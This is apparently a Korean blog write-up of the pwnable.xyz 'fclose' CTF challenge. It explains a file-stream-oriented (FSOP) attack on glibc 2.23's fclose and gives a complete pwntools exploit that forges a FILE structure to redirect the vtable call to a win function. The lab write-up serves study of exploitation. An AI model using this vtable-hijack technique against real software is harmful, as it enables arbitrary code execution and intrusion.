fclose
#FSOP
![fclose_prob](https://i.imgur.com/E6VL7Mo.png
문제 설명은 다음과 같다.
)
보호기법은 NX 만 걸려있다.
해당 문제는 fclose
함수에서 vtable 을 이용해 특정함수로 jump 하는 특징을 이용하는 문제이다.
소스분석 및 취약점 부분 탐색
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup();
printf("> ", argv);
read(0, &input, 1028uLL);
fclose(&input);
return 0;
}
int win()
{
return system("cat flag");
}
중요 소스는 이게 전부이다. 얼핏 보기에도 1028 바이트를 읽어오는 read
함수가 취약해보인다.
그리고 그렇게 받아온 &INPUT
을 파일 스트림으로 이용하여 fclose
시킨다.
이를 한 번 이용해보자.
사전지식 준비 및 exploit 전략구상
// glibc/libio/iofclose.c:32
int
_IO_new_fclose (FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_flags & _IO_IS_FILEBUF) // _IO_IS_FILEBUF is 0x2000
// In assembly, test ah, 0x20 is executed. If ah is 0, "_IO_un_link" can be bypassed.
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
. . .
. . .
. . .
}
위는 fclose
함수이다.
해당 소스에서 눈여겨 볼 것은 _IO_file_close_it
함수와 _IO_FINISH
함수이다.
두 함수는 모두 glibc 에서 내부적으로 libio_vtable 구조체 테이블을 통해 원본 함수로 jump 한다.
해당 vtable 을 통한 함수호출 설명은 SECCON2020 lazynote 에 자세히 되어있다.
다시 문제로 돌아와서, 두 함수 각각은 아래와 같은 함수로 jump 된다.
// glibc/libio/fileops.c:1428
versioned_symbol (libc, _IO_new_file_close_it, _IO_file_close_it, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_finish, _IO_file_finish, GLIBC_2_1);
. . .
. . .
전략은 _IO_new_file_close_it
과 _IO_new_file_finish
로 jump 할 때, File Stream 의 vtable 의 해당 함수가 들어있는 위치를 참조해서 call 을 하게 되는데 이 때, 소스에서 fclose(&INPUT);
부분을 이용하면 call 하는 함수 주소를 바꿀 수 있다.
아래의 파일 스트림 구조체를 보자.
위는 libc 안에 있는 stdout
파일 스트림의 형태이다.
이런 식으로 메모리에 값들이 박혀있는데 집중해야할 값은 vtable
값이다.
현재는 _IO_file_jumps
라는 vtable 시작 주소가 들어가 있다. 그리고 위에서 언급한 libio_vtable 에 따라 _IO_new_file_finish
함수는 더미를 고려하여, 아래 사진처럼 (시작주소) + 16 주소에 들어가 있을 것이다.
그러면 이렇게 생각해보자.
만약 fclose(&INPUT);
에서 INPUT 을 가상의 파일 스트림으로 만들어서 (House of Orange 기법이라고..?) vtable 주소를 ( win
함수를 담고 있는 주소 ) - 16 으로 덮으면 어떨까?
필자는 _IO_FINISH
함수를 이용할 것이므로, 아마 _IO_new_file_finish
함수로 jump 시, win
함수로 대신 jump 하여 flag를 읽을 수 있을 것이다.
여러 장애물 우회과정 ( ONLY IN libc-2.23 version )
// glibc-2.23/libio/iofclose.c:47
/* First unlink the stream. */
if (fp->_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
...
// in gdb
0x7f6aa7cbf274 <_IO_new_fclose+4>: mov eax,DWORD PTR [rdi]
=> 0x7f6aa7cbf276 <_IO_new_fclose+6>: mov rbx,rdi
0x7f6aa7cbf279 <_IO_new_fclose+9>: test ah,0x20
0x7f6aa7cbf27c <_IO_new_fclose+12>: jne 0x7f6aa7cbf380 <_IO_new_fclose+272>
...
이 부분에서
_IO_un_link
로 안가도록_IO_IS_FILEBUF(0x2000)
이_flags
에 없도록 해야한다.
또한_IO_file_close_it
함수도 실행 안되게 하려면 해당 flag 가 없어야한다!
// glibc-2.23/libio/iofclose.c:51
_IO_acquire_lock (fp);
이 부분이 간단하게 우회되지만 제일 이해안되는 부분이어서 열심히 타고들어가보았다.
// glibc-2.23/sysdeps/nptl/stdio-lock.h:90
# define _IO_acquire_lock(_fp) \
do { \
_IO_FILE *_IO_acquire_lock_file \
__attribute__((cleanup (_IO_acquire_lock_fct))) \
= (_fp); \
_IO_flockfile (_IO_acquire_lock_file);
간단하게 파일 스트림을 받아와서
_IO_flockfile
로 전달한다.
// glibc-2.23/sysdeps/pthread/flockfile.c:25
void
__flockfile (FILE *stream)
{
_IO_lock_lock (*stream->_lock);
}
strong_alias (__flockfile, _IO_flockfile)
여기서 받아 온 파일 스트림의
_lock
을_IO_lock_lock
함수에 전달한다.
// glibc-2.23/sysdeps/unix/sysv/linux/x86_64/lowlevellock.h:108
# define __lll_lock_asm_start "cmpl $0, __libc_multiple_threads(%%rip)\n\t" \
"je 0f\n\t" \
"lock; cmpxchgl %4, %2\n\t" \
"jnz 1f\n\t" \
"jmp 24f\n" \
"0:\tcmpxchgl %4, %2\n\t" \
"jz 24f\n\t"
#endif
#define lll_lock(futex, private) \
(void) \
({ int ignore1, ignore2, ignore3; \
if (__builtin_constant_p (private) && (private) == LLL_PRIVATE) \
__asm __volatile (__lll_lock_asm_start \
"1:\tlea %2, %%" RDI_LP "\n" \
"2:\tsub $128, %%" RSP_LP "\n" \
".cfi_adjust_cfa_offset 128\n" \
"3:\tcallq __lll_lock_wait_private\n" \
"4:\tadd $128, %%" RSP_LP "\n" \
".cfi_adjust_cfa_offset -128\n" \
"24:" \
: "=S" (ignore1), "=&D" (ignore2), "=m" (futex), \
"=a" (ignore3) \
: "0" (1), "m" (futex), "3" (0) \
: "cx", "r11", "cc", "memory");
...
...
// in gdb 1
0x7f6aa7cbf3a2 <_IO_new_fclose+306>: mov esi,0x1
=> 0x7f6aa7cbf3a7 <_IO_new_fclose+311>: xor eax,eax
0x7f6aa7cbf3a9 <_IO_new_fclose+313>:
cmp DWORD PTR [rip+0x35c390],0x0 # 0x7f6aa801b740 <__libc_multiple_threads>
0x7f6aa7cbf3b0 <_IO_new_fclose+320>: je 0x7f6aa7cbf3ba <_IO_new_fclose+330>
...
// in gdb 2
0x7f6aa7cbf3ba <_IO_new_fclose+330>: cmpxchg DWORD PTR [rdx],esi
0x7f6aa7cbf3bd <_IO_new_fclose+333>: je 0x7f6aa7cbf3d5 <_IO_new_fclose+357>
0x7f6aa7cbf3bf <_IO_new_fclose+335>: lea rdi,[rdx]
0x7f6aa7cbf3c2 <_IO_new_fclose+338>: sub rsp,0x80
0x7f6aa7cbf3c9 <_IO_new_fclose+345>: call 0x7f6aa7d67140 <__lll_lock_wait_private>
여기가 어셈블리 지옥이었다... 간단하게 multiple_threads 상태인지 확인 후,
_lock
을 확인한다.당연하게도 싱글스레드 이므로 이 부분은 넘어간다.
그 다음에 gdb 2 부분에서
cmpxchg
명령어 부분이 있는데, 이 부분에서 해당 바이너리 실행흐름이 lock 될지 말지 결정된다.
cmpxchg
는 destination 과 al 레지스터를 비교해서 같으면, source 의 데이터를 destination 에 옮긴다.위의 경우에서는
xor eax,eax
로 eax 가 0 이므로_lock
주소의 내부 값인 [rdx] 가 0 이어야 분기가 성공적으로 되어__lll_lock_wait_private
함수를 우회할 수 있다.결론적으로
_lock
주소의 내부 값이 0 (쓰기가 가능한 영역 주소) 인_lock
이 되어야한다.
// in gdb
0x7f7190a5f2a0 <_IO_new_fclose+48>: mov rax,QWORD PTR [rbx+0xd8]
0x7f7190a5f2a7 <_IO_new_fclose+55>: xor esi,esi
0x7f7190a5f2a9 <_IO_new_fclose+57>: mov rdi,rbx
0x7f7190a5f2ac <_IO_new_fclose+60>: call QWORD PTR [rax+0x10]
그리고 수 많은 장애물을 통과 후, 이 부분에 도달하게 되는데
_IO_FINISH
함수를 호출하는 순간이다.call 하는 부분이
[rax+0x10]
인 것을 볼 수 있는데, 해당 부분은 파일 스트림의 vtable 이rax
에 들어가게 되고 해당 vtable 로 부터 0x10 뒤에 있는_IO_FINISH
함수를 호출하는 것이다.그러면 우리는
win
함수를 호출해야하므로win
함수를 bss 같이 쓰기 좋은 곳에 넣어두고, 처음에 언급한대로 (쓴 영역의 주소 - 0x10) 을 vtable 변수에 넣어두면 `_IO_FINISH` 실행 대신 플래그가 읽힐 것이다.
payload
from pwn import *
elf=ELF("./challenge")
#p=process("./challenge")
p=remote("svc.pwnable.xyz",30018)
pause()
p.recv()
win_addr=elf.sym['win']
INPUT=0x601260
pay=p64(0) # _flags
pay+=p64(0)*8 # _IO_read_ptr ~ _IO_buf_end
pay+=p64(0)*4 # _IO_save_base ~ _markers
pay+=p64(0) # _chain
pay+=p32(1) # _fileno
pay+=p32(0) # _flags2
pay+=p64(0xffffffffffffffff) # _old_offset
pay+=p32(0)*2
pay+=p64(0x601800)
#pay+=p64(0x601000) # _lock
pay+=p64(0xffffffffffffffff) # _offset
pay+=p64(0) # _codecvt
pay+=p64(0x601800) # _wide_data
pay+=p64(0)*3
pay+=p32(0xffffffff)
pay+=p32(0)
pay+=p64(0)*2
pay+=p64(INPUT+len(pay)+8)
pay+=p64(0)*2
pay+=p64(win_addr)
p.send(pay)
p.interactive()
'<Wargame & CTF> > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] note (0) | 2020.07.31 |
---|---|
[Pwnable.xyz] Game (0) | 2020.05.31 |
[Pwnable.xyz] UAF (0) | 2019.12.30 |
[Pwnable.xyz] GrownUp (0) | 2019.12.29 |
[Pwnable.xyz]add, misalignment (0) | 2019.02.03 |